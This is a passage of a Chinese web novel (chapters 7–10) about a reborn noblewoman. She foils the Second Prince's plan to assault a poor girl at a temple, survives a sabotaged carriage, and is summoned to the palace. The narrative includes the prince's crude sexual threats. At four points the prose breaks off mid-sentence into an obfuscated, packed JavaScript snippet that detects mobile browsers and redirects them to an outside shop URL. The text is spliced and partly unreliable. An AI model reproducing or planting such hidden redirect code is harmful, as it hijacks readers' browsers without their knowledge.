闻言,洛清苒目不转睛地盯着他,忍了忍,还是没忍住,开口揭他老底:“九岁和十岁那两回我都送的马鞭,有的人气了好几日,还跟伯母告状说我敷衍……” “那是年纪小不懂事!”沈露明立刻为自己辩解道。 那两条马鞭,沈露明一直珍藏着舍不得用,唯恐会将其弄脏或是弄坏了。 “真的,你送与不送,或是随便送个什么都好,我都不会不高兴。” 洛清苒能记得他的生辰,能每年都对他说一句“生辰安康”,沈露明便觉得满足了。 毕竟,就连他的父兄,都有忘记此事的时候。他们不愿记起沈露明姐姐的死,也连带着忘了那个日子其他的意义。 “好,我记住了,你别唠叨了,快去国子监吧,别迟了。”洛清苒故意“赶客”道。 她知道沈露明并非在说违心话,但她也的确想用心为他准备生辰礼物。 与洛清苒关系近的人其实并不算多,逝去的人已回不来,她想好好对待活着的人。 亲人,友人,她希望大家都能平安无恙,顺遂安康。 是以第二日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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妥帖地收好由寺里的高僧开过光的平安符,行至殿外后,洛清苒忽然想起,多年前,自己曾为姐姐和裴知砚各求过一张平安符。 她希望姐姐能熬过那场病痛,身体康健地活下去。 但后来姐姐还是被病痛带走了。 洛清苒曾担心是因为自己的心不够诚,不够纯粹,神佛才不愿助她如愿。所以姐姐逝去后,洛清苒便让裴知砚不要再留着那张平安符了。 裴知砚应已照她说的扔了那张平安符,也可能他本就从不曾用过它。 竟又想起他了。 洛清苒忽然觉得自己有些不争气,竟还没改掉这个习惯。 但她和他相识多年,不少事物都曾与他们有关联,偶尔因为某些原因想起他,其实应也算平常。洛清苒劝解自己道。 洛清苒敛回心绪,准备带着忍冬离开山寺。 但她刚绕过一处庭院外的小径,便隔着段距离看见了一个她绝不愿碰上的人。 7. 突逢变故 洛清苒没想到自己今日竟会在山寺里遇到二皇子。 前世陈贵妃的那些阴毒算计霎时占满了洛清苒的脑海,让她心中生厌。 但见二皇子今日并非平日里那身华贵的穿着,而是换了衣料普通的寻常衣衫,洛清苒猜测他今日来山寺应是别有目的。 洛清苒思忖了几息,放轻动作拉着忍冬退到了转角之后,低声叮嘱忍冬先去寺外等她。 见自家姑娘神色小心,忍冬有些担忧,却又因不明内情,担心硬要跟着会拖累姑娘,只能先依言照做。 两人约定,若一炷香的时辰之后洛清苒还未现身,便让忍冬去找人来。 忍冬离开后,洛清苒深吸了一口气,随即小心翼翼地走向二皇子那边,最后停在了一个不起眼的角落里。 “慧觉大师还是不同意出面吗?”二皇子正沉声询问身旁的人。 “回殿下,大师仍说‘前尘已了’,不愿再染俗事。” “俗事?当初不就是因为这些俗事,他才从高位跌落,成了个只能念经的和尚吗?” 手下噤若寒蝉,不敢接话。 二皇子不耐烦地摆了摆手:“罢了,下回再来见他。” “刚才那个一路跪拜上来的姑娘,你去打听一下,她是想求什么。” “神佛不灵,有人却可以给她想要的一切。”二皇子慢条斯理道。 那原本只是个贫家女,长得不算多美,一身皮肉想必也没有多细滑。他还没睡过这样下.贱的女人。可她身上那股劲儿,他有些喜欢。 如此坚韧的人,若用跪拜神佛的虔诚姿势匍匐在他的榻上承欢,那滋味应会不错。 “她若不愿意,就用些手段,给她留口气,能在床上叫出声来就行。” 手下自然听明白了二皇子的意思,当即拱手退了下去。 而不久之后,寺内某座大殿后的罗汉松旁,洛清苒迅速将某个姑娘拉到了一处暗角。 担心这位姑娘喊出声引来二皇子的人,洛清苒先捂着她的嘴,解释了自己这样做的前因,并说明了自己的身份。 看着姑娘额头上血红的磕伤,洛清苒轻轻蹙了蹙眉。 待姑娘半信半疑地点了点头后,洛清苒才松开手,随即问她:“你是遇到了什么难事吗?” 姑娘霎时眼眶通红,声音哽咽道:“我爹娘去山里打猎,受了重伤,我们家能卖的东西都卖了,但还是不够买伤药……” 洛清苒耐心地听这位姑娘流着泪讲述她家里的事。 等弄明白她如今的处境后,洛清苒柔声安慰道:“这些难事都会过去的。” “我身上没有带钱袋,你愿意跟我去一趟寺庙门口吗?我可以出钱帮你父母请大夫。” 少女看着眼前这个明显是富家小姐的人,没多犹豫便点点头,同意了。 她一贫如洗,已经没什么好骗的了。万一这人真能救她爹娘,无论她有什么要求,她都愿意做。 洛清苒带着人绕小路走出了寺庙,很快便在约定的地方找到了忍冬。 从忍冬那里拿了钱给这个姑娘后,洛清苒还同她说了洛府的位置,让她若有事可以去府里找自己。 “除了给你爹娘买药之外,你别忘了让大夫也看看你的伤。膝盖受伤之后要好好养,别留下病根,不然以后会受苦的。” 见姑娘泪流不止地道谢,还当即跪下想要磕头,洛清苒连忙将她扶起来。 “你膝盖还伤着,别再跪了。”感受到自己手掌下几乎皮包骨头的手臂,洛清苒心里有些酸涩。 “是要去城里请大夫、买药吗?我的马车在山下,可以送你过去。” “不用了,”少女摇了摇头,用肩膀上的粗布衣料擦去眼泪,说道,“恩人已经帮了我大忙了。” 恩人生得很美,一看就非富即贵,马车里肯定也都是很贵的东西。她身上很脏,会把恩人的东西也弄脏的,不能再麻烦恩人了。 她在山里长大,很能跑,不用马车也能很快进城去找到大夫。 “恩人,我先走了。多谢恩人。”姑娘深深鞠了一躬。 洛清苒大概能猜出她拒绝自己时的心中所想,便也不勉强。但洛清苒正色提醒她要赶快下山,不要再入寺。 二皇子的人应还在寺内找她。 待看见这个姑娘的背影消失在山阶下,一直悬着心的洛清苒才终于松了一口气。 前世中了蛊毒之后,洛清苒便知道,二皇子和他的母亲陈贵妃是一丘之貉,并非什么好人。但今日亲眼目睹他那样轻飘飘地便想蹂.躏这个姑娘本就已经很是艰难的人生,洛清苒还是气愤不已。 二皇子专程改换装扮也要来见的那个慧觉大师,或许会是解决二皇子的一个关键。 但今日此地不宜久留。洛清苒将其仔细记在心里,打算再找机会详查。 今日本是来烧香拜佛的,不承想后来不仅发现二皇子的端倪,还阻止了他伤害这个姑娘,洛清苒心里松快了些许。 朝忍冬递了个让她安心的眼神,洛清苒没有在外面多说什么,随即神色如常地带着忍冬往山下走去。 而待她渐渐远离了山寺,在寺庙右侧的巨石后,裴知砚的身影才重新隐没。 经过方才洛清苒求平安符的中殿时,裴知砚短暂停下,抬手从自己怀中拿出了一块汉白玉佩,微凉指腹轻轻抚了抚。 这块玉佩是他母亲的遗物,但在当年的变故里断成了两块,还被母亲的性命染成了血红色。后来裴知砚将那玉佩洗濯了无数遍,让它的颜色恢复如初后,才设法做了个机关,将断面重连。 那年收到洛清苒小心翼翼地递给自己的平安符时,裴知砚本不知该如何处置。 但后来,他重新调整了机关的样式,在中间置了个扁平狭小的暗格,恰好能容纳一枚平安符。 殿外,裴知砚长指微微用力,解开了紧锁的机关,里面由符纸制成的平安符露了出来。 他并未进殿,只是将平安符握在掌心,双手合十,脊背微弯,垂首朝殿内拜了一次。做完这些,他并未多停留,很快便消失在了寺庙中。 佛祖不会护佑连姓名都作伪的人。 而他满身血腥,不配见神佛。 * 山下某处。 拿到了可以救爹娘的银钱后,少女脚步轻快地往城里赶去,想要尽快买到能为爹娘治伤的药。原本一直疼痛着的膝盖似乎也飞快痊愈了,丝毫无法拖慢她的脚步。 但她记得恩人说的话,过会儿给爹娘买了药之后,也要让大夫看看她膝盖上的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛清苒不敢想。 “再快些。”洛清苒催促车夫道。 车夫虽然不知缘由,但也当即依言照做,在保证姑娘平安的前提下促马疾行,朝城中奔去。 可没过多久,便有人策马追了上来,还硬生生逼停了马车。 “姑娘,有人拦住了我们……”变故太快,马匹被惊得不安,车夫的声音也有些不稳。 幸好车内的洛清苒和忍冬因为颠簸一直紧紧地抓着车窗边缘,才没有因马车急停而被甩出去。 洛清苒眉梢紧蹙,掀开帷帘朝外看去,却见拦在马车前的人是面沉如水的裴知砚。 “为何要拦着我?”洛清苒的脸色也不太好看。 裴知砚并未回答,而是径直翻身下马,在洛府马车的车辕上拍下一掌—— 那车辕竟当即断开! 看清了什么,车夫霎时浑身冷汗。 车辕断口处粗糙的部分应是被掌力震断而来,但另外一截十分平整,明显是被人用利器锯断的! 8. 第 8 章 见车夫的神色不对,洛清苒也察觉事有异常。 她走出马车,侧身半蹲下去,仔细看了看断开的车辕。 发现那截不正常的断口,洛清苒先吩咐车夫退到远处,才抬眸看向裴知砚,问他:“你知道是谁做的?” 裴知砚出现得太突然,也太及时。 裴知砚的面上仍覆着一层霜寒之色,说话时的声音也有些冷沉:“二皇子。” 无人知晓,此时虽能亲眼确认洛清苒还安然无恙,但裴知砚垂在身侧的长指其实仍在克制不住地轻颤,他的心口一阵阵发紧,呼吸也有些沉缓。 若他没能追上她…… 幸好。 他这回没有来迟。 洛清苒并未察觉裴知砚的异样。 他的回答和洛清苒的猜想一样。 车辕前面架在马背上,后面连接着车轴,一旦断裂,轻则马车上的人会被摔伤,重则车毁人亡。 这驾马车上不仅挂着洛府的牌子,还按洛清苒的喜好改了漆色,布置了粉荷花样的浅青色帷帘,是唯独洛清苒出行时才会用的马车。 动手脚的人就是冲着洛清苒来的。 那断口是被人自下往上锯出来的,且藏在视线盲域。平时谁都不会注意到那里。若是正常驾车、乘车,从表面根本无法察觉车辕已经被人动了手脚。 动手的人还留了一段车辕并未锯断,应是想让洛清苒这边更迟一些发觉端倪,怀疑不到二皇子身上。 若没有裴知砚的那一掌,若洛清苒没有让车夫加紧赶回城,这车辕很可能会在往后的某个时刻才突然断裂。 而如果未被裴知砚拦下,车夫依言继续促马疾驰,在格外剧烈的颠簸下,很可能…… 洛清苒不能不心有余悸。 “多谢。”她正色道。 无论如何,这是关乎性命的事。 裴知砚轻轻摇了摇头,转而问道:“今日在寺里发生了什么?” 得知洛清苒今日要出城后,裴知砚便暂时搁下所有事务,来了山寺。他其实知道洛清苒在寺里听到了什么,又大着胆子做了些什么。 但他不想让洛清苒发现自己其实在跟着她。 一个阴暗卑劣的窥探者。 只会让人唯恐避之不及。 洛清苒的确心有疑虑,先反问道:“你怎会来?” “受人之命,来查二皇子的异样。” 裴知砚面色如常道。 洛清苒心神微提——如今能命令裴知砚的,应只有帝后了。看来二皇子今日乔装去山寺之事,不仅是洛清苒觉得很反常。 若是宫里的贵人也要查二皇子,那洛清苒要扳倒陈贵妃和二皇子,或许可以借力打力。 但当务之急是要先确保那个姑娘平安无恙。 裴知砚应是在探查二皇子时得知了他要对洛清苒下手,才会追上来逼停她的马车。 看来二皇子已经发现了洛清苒在山寺里做的事。此举是一个警告。 洛清苒长话短说,将自己在山寺中做的事告诉了裴知砚。 “我让人送你回府,”裴知砚言简意赅道,“再派人查她的去向。” 裴知砚若提出由自己送洛清苒回府,她可能还是会像上次一样毫不犹豫地拒绝。 洛清苒还未言语,便见裴知砚已召了暗卫出来,命他重新备一辆马车来接洛清苒,再分派人手沿途搜寻那个姑娘。 洛清苒仿佛感觉到了某些隐隐存在但并不明显的强势。 她应是头回发现,裴知砚似乎也有并不那么谦和温雅的时候。 “我要先回宫复命。”裴知砚又道。 洛清苒听出来,言外之意是他不再多留。 “好,你自去忙吧。”她应道。 “今日多谢裴大人。” 裴知砚眉梢轻拧,沉吟几息,却只是颔了颔首,没有多言。 待裴知砚离开,洛清苒站在车辕断裂的马车旁,垂眸思索着今日发生的事情。 因为她坏了二皇子的“好事”,所以这位有仇必报的天潢贵胄随即就派人给了她眼前这个教训。 看来,陈贵妃同她这个儿子也并非事事都齐心。起码在陈贵妃费心想要借由洛清苒与洛家结盟时,二皇子其实觉得洛清苒死了也无妨。 这对蛇蝎母子各异的心思,洛清苒或许能加以利用。 远处的密林边缘,裴知砚静默而立,遥望着洛清苒的身影,心绪复杂。 裴大人。 她已经多年不曾这样称呼过他了。 * 另备的马车很快就将洛清苒送回了府中。 甫一下车,洛清苒便让人去查那个姑娘的下落。 虽然裴知砚的手下已经在各处搜寻,但洛清苒也不能什么都不做。只是她能调用的人都是洛府的家丁,或许很多地方都无法触及,不知是否能寻到那姑娘。 洛清苒心绪不宁地等了半日。 直到忍冬带着下人来报,说的确打听到了那个双膝和额上都有伤的姑娘的消息。 不少人都看见她跑进城内后便径直去了药铺,后来她还提着药去买了些粮食一起带出了城。 听闻那个姑娘顺利买到了药,洛清苒暂且松了口气。 可她心底的担忧还未彻底被打消——二皇子会不会仍贼心不死,在那个姑娘回家的路上对她下手? 但人出城之后,踪迹就没那么好打听了。洛清苒只能让人继续探查。 还没等到新的消息,洛清苒便听侍女来报,说她的母亲正往这边来,说是要来看她。 洛清苒暂时压下心事,试着扬了扬唇,将忧虑神色换成了柔和的笑容。 今日二皇子做的事或许可以同父亲商量,但却不好让一直在静养身体的母亲知晓。 洛清苒起身迎了出去。 看见母亲已经行至院内,她亲昵地唤了声“母亲”,随即走过去挽着她的手,一起往屋内走去。 “苒苒今日去山寺了?”面上略有些疲态的妇人声音温和地问道。 陈晚央是陈贵妃的妹妹,本是容色倾城的名门淑女。 但因为生育了两个孩子,她的身体和容貌都不可避免地受了影响。后来长女早逝,她哀痛不已,缠绵病榻,已渐渐没了往日的出尘美丽,眉眼间只余下仿佛永远无法被抹去的哀愁与病气。 洛清苒不想让母亲为自己担心,只神情自然地点了点头,解释道:“前段时日我重病了一场,却有幸死里逃生,便想去寺里添些香油钱,敬谢神佛保佑。” “此事本该是我这个做母亲的为你想着。”陈晚央眸子微垂,有些自责道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312698|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “母亲放心,还有事需要您帮我呢。”洛清苒依偎在母亲肩头,软声撒娇道。 “我和瑶瑶看上了几匹新的料子,想做成裙衫,但挑花了眼都不知该选什么绣样。母亲的眼光最好了,能不能帮我们选一选?” 陈晚央知道女儿是在哄自己高兴,眉目温柔地答应下来。 见状,洛清苒心神微松。 母亲身体不好,心里不能再添郁结了。 “你父亲最近可有在为你议亲?” 洛清苒忽然听见母亲提起。 “不曾听父亲提起过,应还没有。”她如实道。 洛清苒虽已近十七岁,但父亲从未在她的婚嫁之事上催促过什么。她及笄那年也曾有人上门来问,但父亲只同她说此事无需着急,可以慢慢选自己中意的人。 思及此,洛清苒想起,从自己十五岁那年起,每回接近她的生辰时,母亲都会问起父亲是否已在为她议亲了。 这回也一样。 “若寻不到中意的人,不出嫁也无妨,这样苒苒便能一直待在母亲身边了。”陈晚央温声道。 “如果有人敢说什么闲话,我定会为我的苒苒出气。” 洛清苒心神稍顿。 之前母亲问过之后,得了回答便不会再说什么。今日多出来的这两句话,忽然让洛清苒心头酸涩,眼眶微热。 她竟曾以为母亲不够爱自己。 “那苒苒就一直留在母亲身边。”她嗓音微哽道。 陈晚央笑着抚了抚她的发顶,语气柔和似水:“恐怕待你遇到心上人,就会迫不及待地想从我身边飞走了。” “如果苒苒能遇到想要与之相伴一生的人,我会很高兴。” “如果遇不到呢?”洛清苒轻声问道。 “一辈子不成婚也不无不可。只要你能过上自己想要的生活,我都会很高兴。” “不过……”陈晚央欲言又止。 洛清苒有些疑惑:“不过什么?” “不过今后苒苒若是想要个自己的孩子,倒可以试试去父留子。” 听见“去父留子”这四个字,洛清苒怔住了。 洛清苒的外祖父是太傅,最是端肃循礼的一个人,也一直以淑雅端庄为对家中女眷的要求。 洛清苒还从不知道,母亲竟是赞同“去父留子”这种做法的。 看出她的讶然,陈晚央继而道:“如遇不到良人,便也不必有夫君。但这与是否要一个孩子并不冲突。” “苒苒若能像我一样有一双可人疼的女儿,就明白了。” 洛清苒隐约感觉母亲似是话里有话,却一时没能抓住其中关键。 她紧接着便听见母亲认真提醒道:“只是如果去父留子,要好好挑选孩子的生父才行。” “对方即便无需貌胜潘安,也要担得起一句‘仪表不凡’,能文武双全则最好。那般文不成武不就的人,便是长得再好看,也不配做我们苒苒孩子的生父……” 陈晚央缓缓叮嘱道,仿佛洛清苒已然决定如此。 头一回听母亲说这样离经叛道的想法,但洛清苒却并不觉得这有何不对。 只是,听母亲说起那些适合去父留子的人选条件时,某道雅人深致的身影蓦地浮现在洛清苒脑海中。 又很快被她轻轻抹去。 9. 第 9 章 夜空岑寂,明月缓升。 院子里各种花卉和草木都由人精心打理,正在春日好时节竞相蓬勃,盎然的生命力即使是在夜晚也能让人为之驻足。 但洛清苒无心欣赏这些花木。 送走母亲后,洛清苒便一直在等新的消息。时辰越晚,那个姑娘的去向也就越难打听。 或许,她的处境也会更危险。 洛清苒心神微凝,久久蹙眉。 好在,她今晚还是等到了消息——裴知砚派人来传口信给她。 他白日里说会命人去查那姑娘的下落,后来洛清苒派出去的家丁带回了一些消息,但裴知砚那边一直都没有回音。 这也是洛清苒即便得知那姑娘顺利买了药出城,也一直放心不下的原因。 裴知砚位高权重,手里能用的人绝不仅是洛清苒见过的那名暗卫。若他的手下仍未查到结果,或许便代表着洛清苒派出去的人查到的只是表象。 洛府内,她父亲麾下应也有能行走于暗处的手下。但洛清苒从未调动过他们。她能用的,只有洛府的家丁。 思及此,洛清苒心底某个角落似乎升起了些许违和的念头,又很快被眼前的事情遮盖。 她认真听着裴知砚的手下汇报今日查到的东西—— 那个姑娘的确在买了药和粮食之后就出了城,只是在出城后遇到了二皇子的人,险些被掳走。 但裴知砚的手下正在那附近搜寻,听到动静后过去交涉。二皇子的人忌惮裴知砚的身份,收敛了一些,没有再强行掳人。 “后来呢?”洛清苒追问道。 “我们的人将那姑娘送回了村子,确认她平安到家后问了她是否想搬家,她说要和爹娘商量之后再做决定。”裴知砚的手下垂首禀报道。 “卑职回来复命之前留了人在她家附近暗中守卫。” “大人命卑职转告姑娘,二皇子还不敢与大人起冲突,他的手下也不会强行从我们手里抢人。” 见他们安排得面面俱到,洛清苒悬着的人才缓缓落到了实处。 “辛苦你们了。”她温声道。 忍冬适时上前,朝那人递过一个钱袋。 “多谢姑娘好意,卑职不能收。”那人立即道。 大人虽治下严明但体恤下属。他们都不是为了钱给大人卖命,也并不缺钱。 况且并非任何人都能被派去执行与眼前的姑娘有关的任务,他们也都明白其中意味,更不可能收她的钱。 “姑娘可还有别的吩咐?”他恭声问道。 洛清苒:“没有了。你回去吧。” “遵命,卑职告退。”他拱手应道。 但离开前,他拿出一封信,双手捧递着给了一旁的忍冬。 人走后,洛清苒心里那缕疑惑还未消散。 是她的错觉吗? 那人似乎对她过于恭敬了。 一旁的忍冬也注意到,裴大人的手下从始至终都低着头,目不斜视,自进院子起便一眼都没有多看,很是知道分寸。 忍冬其实一直都有些忐忑—— 虽然他没从正门进,而是避开所有人径直来了这边的院子里,但到底是外男,若是有人知道他潜入了姑娘的院子,传出去,姑娘恐会有大.麻烦。 她暗自压下了担忧,将那人留下的信递给了洛清苒。 接过那封信,看清信封上“洛清苒亲启”这几个字时,洛清苒的指尖微不可察地轻顿了一息。 与裴知砚相识多年,这还是他第一回写她的名字。在此之前,洛清苒也不曾收到过出自他手的书信。 清寒矜傲间暗藏锋芒的字迹,书写她的姓名时原来是这种模样。 只是信封上的几个字而已,却仿佛曾书写过无数次般,完美得让人挑不出任何错来,不难看出落笔之人的水平。 恐怕没有人会说裴知砚的字写得不好看。许多书法大家都曾盛赞过裴知砚的这一手好字,他的墨宝是许多人想尽办法都求不到的。 洛清苒也曾将裴知砚为她批注过的文章妥帖安放,偶尔放纵自己拿出来睹物思人。 那时,只是看着那些墨色的文字,她好似就已亲眼目睹了他提笔行文时的松玉之姿。 若是前世此时,洛清苒或许会在那些纠葛难言的情愫中体会出几分欢喜,心跳也会因这简单五个字而难以自制地快如擂鼓。 眼下,他的字迹看着仍能让洛清苒觉得赏心悦目,可除了那微乎其微的一点停顿以外,不再有别的什么从她心头掠过。 那只多年无法寻到落脚处的飞鸟,终是一去不回,消失在了天尽头。 拆开信封,洛清苒看见单薄纸页上是裴知砚留下的一句话:“明日陈氏会请你入宫。” 洛清苒心神一凛,下意识眉梢紧拧。 陈氏应是指陈贵妃。 前世的明日,陈贵妃并未叫洛清苒入宫。许是因为今日她坏了二皇子的“好事”,才引起了一些前世所没有的变化。 好在死过一次的洛清苒已经提前警觉,不会再让那对母子的诡计得逞。 只是…… 今日的事是二皇子做的,此时的陈贵妃还未原形毕露。为何裴知砚会用“陈氏”来称呼一位正受盛宠的贵妃? * 裴府书房内。 丝丝缕缕的春日晚风顺着窗棂缝隙而入,灯烛火光随之轻颤,映照在一袭山青色衣衫之上,明明灭灭。 裴知砚右手长指间捏着一页密信,放在摇曳的烛火上点燃。 暗卫拱手禀报道:“二皇子的人已将她接去了一处别院。” 他去洛府传话时,依令只说了一半,没说后来的事态发展。 他们在搜寻过程中发现了异样,已经可以确认那个姑娘曾在进城的途中被人掳至密林里。可后来她又被好好地放走了,还顺利地进城去买了药和粮食。 暗卫在那姑娘出城时找到了她,将她送回了村子。他也的确问过那姑娘是否想搬家,去一个二皇子绝对无法找到她的地方,和她的爹娘好好过日子,再也不会吃不饱穿不暖。 但她一直沉默地给她爹娘上药、做饭、喂饭、洗衣,给自己换了一身还算干净的衣裳。之后她便一直等在门口。 直到等来了二皇子的人。 他们唤她九夫人,而她应了下来。 暗卫不是没有出面劝说过,但她心意已决,还让他帮忙给洛姑娘带话,说多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然送出前重写了数遍,写有她姓名的信封也改换了十几个,但裴知砚仍不满意今日命人给洛清苒送去的那封信上的字迹。 那不是他写给她的第一封信,却是送出去的第一封。 可那是一封只与旁人有关的信,只有信封上的五个字和短短一句话,他还写下了并不完美的字迹。 无一处是裴知砚曾预想过的那样。 世人都夸他的字迹,可无人知晓,他其实连她的名字都写不好。 他竟写不好她的名字。 即便他曾无数次为之提笔。 似是丝毫不觉得疲倦,裴知砚写完了一张又一张宣纸,已经远超儿时母亲给他固定的数目。 不远处的长案上,正安放着今日没有用上的那些信封。 因为多次重写,给洛清苒传消息的信纸被他揉毁了许多,但写有她姓名的信封都被裴知砚仔细收在了一处。 他不愿丢弃与她有关的东西。 即便那只是信封上并不完美的三个字。 10.第 10 章 春雨连绵,细如银丝的雨线寸寸缕缕地斜散着,在街巷间氤氲起濛濛的雾气。 洛清苒正姿势放松地撑着下巴,略有些闲适地赏着窗外的细雨。雨天湿润的风缓缓掠过她的发丝,又不情不愿地消散无影。 洛清苒今日没去女学,而果然如裴知砚所说,宫里来了人替陈贵妃传信,请洛清苒进宫尝尝尚食局新制的花糕。 心里已提前有了准备,即便是要重新面对前世将自己的人生推下悬崖的人,洛清苒的心绪也并无太多起伏。 兵来将挡,水来土掩,既然躲不过,便总是要去面对的。 洛清苒选了一身得体的裙衫,没有带忍冬,自己乘着马车往宫城去。 她昨晚同父亲说了二皇子的所作所为,父亲说会仔细调查此事,为她讨个公道。今日洛清苒出门时才知道,父亲已让人重新为她布置好了一驾马车。 马车只能行至宫城外,后面的路只能步行。洛清苒提裙走下马车,独自撑着伞往前走。 一笼笼轻烟萦绕着这座巍峨的宫城。无论是谁,踏进宫门时都似是被一个庞然大物吞吃入腹,尸骨无存。 即便是在前世那场生日宴之前,还未看透陈贵妃亲善假面下的蛇蝎心肠时,洛清苒对这座宫城也有说不上来的微妙抵触与不喜。 或许是因为它所代表的权力与欲.望都过于赤.裸裸。 越靠近那座当今皇帝为自己的宠妃修建的奢华宫殿,洛清苒垂在身侧的手就不自觉地攥得越紧。 前世,她就是沿着这条路,无知无觉地步入了陈氏给她设下的陷阱。 而比起回忆当时那场生辰宴与之带来的种种变故,更让洛清苒难受的是她在路上避无可避地见到了皇帝命人专门为陈贵妃垒凿的那个仙鹤池。 那里占据了整座宫城的很大一部分,原本是几座华丽的宫殿。但因为陈贵妃想养白鹤,皇帝便眼都不眨地命工匠推倒了原本的宫殿,往下挖凿得足够深,又命人不断引水入池,精心饲养白鹤,生造了一个漂亮的仙鹤池出来。 雨天时,那里云雾缭绕,伴有白鹤孤高矜雅的身影,看着的确有几分仙境的模样。 但洛清苒无心欣赏。 甫一看见被雨水溅起层层波澜的池面,洛清苒的心口便不由自主地发紧,心跳也快得不成样子。 她的手握得太紧,指甲深深掐着掌心,但这痛感也没能将她从脑海中那些噩梦般的场景里唤醒—— 仿佛又一次落入了冰冷的池水中,洛清苒觉得自己的五脏六腑都重新被那双无形的手掌重重地压着,巨大的恐慌将她的心紧紧攥住,让她呼吸急促,却喘不过气来,被那道窒息感逼得连连咳嗽。 洛清苒的心口和肺都灼热地疼着,她咳得脸颊通红,眸中盈泪,握伞的手也难以抑制地有些颤抖,已无法再继续迈步。 她分明好好地站在地面,却好似不受控地深深沉入了池底,浑身冰凉无力。 就在洛清苒微躬着腰,想要扔了伞就地坐下来缓缓时,一只有力的手臂稳稳地扶住了她。 洛清苒下意识侧首,却看见了一袭绯色官服的裴知砚。 那颗几乎要被逼得跃出胸膛的心脏忽然就莫名平静了许多。 许是因为梦魇般的痛苦回忆被打断了,洛清苒慢慢止住了咳嗽,方才如潮水般悉数退去的力气也缓缓回到了她的身体里。 待洛清苒站稳后,裴知砚收回了手,微压着眉看向她,问道:“可是有什么不适之处?” “你怎么在这里?”洛清苒暗自平稳着呼吸,不答反问。 裴知砚半真半假地解释道:“每次散朝后的这个时辰,我都要去见皇后。” 以往的确如此。但今日,他已提前命人去同皇后说了,自己会迟一些过去。 听裴知砚提起皇后,洛清苒心神微顿,当即明白过来—— 虽然每日坐在朝堂上的人是那位穿着龙袍的皇帝,但几乎无人不知,真正掌权的其实是身在后宫的皇后。 十几年前,敌国皇帝带领大军逼近京城时,是刚诞下太子的皇后以身为质,才暂退敌军。 后来皇后历经艰险得以平安回京,却清誉受损,许多大臣都上书建议皇帝为了皇室体面废后。 但没人能想到,皇帝不仅没有废后,还放任皇后把持朝政,秽乱后宫。 如今皇帝已只是一副空架子。皇后的懿旨要比皇帝的圣旨更管用,内阁议事后,最终拿主意的人也是皇后。 世间皆传当今皇后狠辣无情,是个喜钻营弄权的淫.妇。 但洛清苒却暗自觉得,能在经历过以身为质的事之后登上权力顶端,皇后应不是淫.荡与否就能评价的。 皇帝似乎身处被侮辱、背叛与架空的位置。 但在洛清苒看来,在位时让敌军侵入家国腹地,平庸无能是他;能同意将自己的妻子送出为质,懦弱寡情也是他。 无论如何,皇后摄政掌权的这些年里没有战事,百姓得以安居乐业,休养生息。 “我无事,裴大人自去忙吧。”洛清苒已经差不多缓了过来,面色无异道。 听见刺耳的那三个字,裴知砚薄唇微抿,却到底什么也没说。 只是状似心平气和道:“你我顺路,可以一起走。” 皇后的宫殿与陈氏的宫殿相隔不远,的确算是顺路。 洛清苒想起昨日是裴知砚写信提醒自己陈氏会叫她进宫一事,一时不知裴知砚是否要趁顺路之便再同自己说些什么。 但还不待她问些什么,便有一队内侍从仙鹤湖边经过。 裴知砚朝他们走过去两步,声音温润儒雅地问:“陛下此时是否在陈贵妃那边?” 见原本要去见皇后的裴知砚忽然问起皇帝和陈贵妃,洛清苒有些意外,忍不住转眸看了他一眼。 也就没有意识到,裴知砚本不需要对内侍们如此客气。他若想知道什么,大可直接唤人过来询问,不必主动迎上去。 而现在,他高挑挺拔的身影已经隐隐隔在了洛清苒和仙鹤池之间。 原本垂着头不敢乱停乱看,正准备向裴大人问礼的内侍们齐齐心神俱震,只有领头的那个还算镇定地答道:“回裴大人,陛下的去向,奴婢们不敢私自打听。” 他们原本不想也不敢在这个时候走过来,但他们得去为陈贵妃喂养仙鹤们,若是误了时辰,后果恐怕不是轻易便能消受的。 可没想到,一贯知道分寸的裴大人竟会突兀地同他们打听陛下的去向。 担心会得罪裴大人,领头的内侍正欲再说几句好话,却忽然听见身后有人急匆匆地往宫城外跑,还大声喊着:“关城门!宫里进了刺客!” 喂养白鹤的内侍们均神色慌乱。 洛清苒眉梢轻蹙,觉得事有蹊跷。 裴知砚适时将那名喊话的内侍唤来,问他宫里发生了何事。 那内侍急得满头大汗,额上还有一道血红的伤口,气喘吁吁道:“回大人,有刺客潜了进来!还将两截断指放在了贵妃娘娘的血燕里!” “原是如此。”裴知砚语气平常道。 洛清苒心里猛地一跳,下意识看向神色自若的裴知砚。 她觉得此事或许与裴知砚有关。 传话的内侍着急地跑向城门,裴知砚也朝那队喂养白鹤的内侍颔了颔首,道:“多谢各位,不耽误你们了,去忙吧。” “大人哪里的话,奴婢们先行告退……”内侍们诚惶诚恐地说着,躬身离开了。

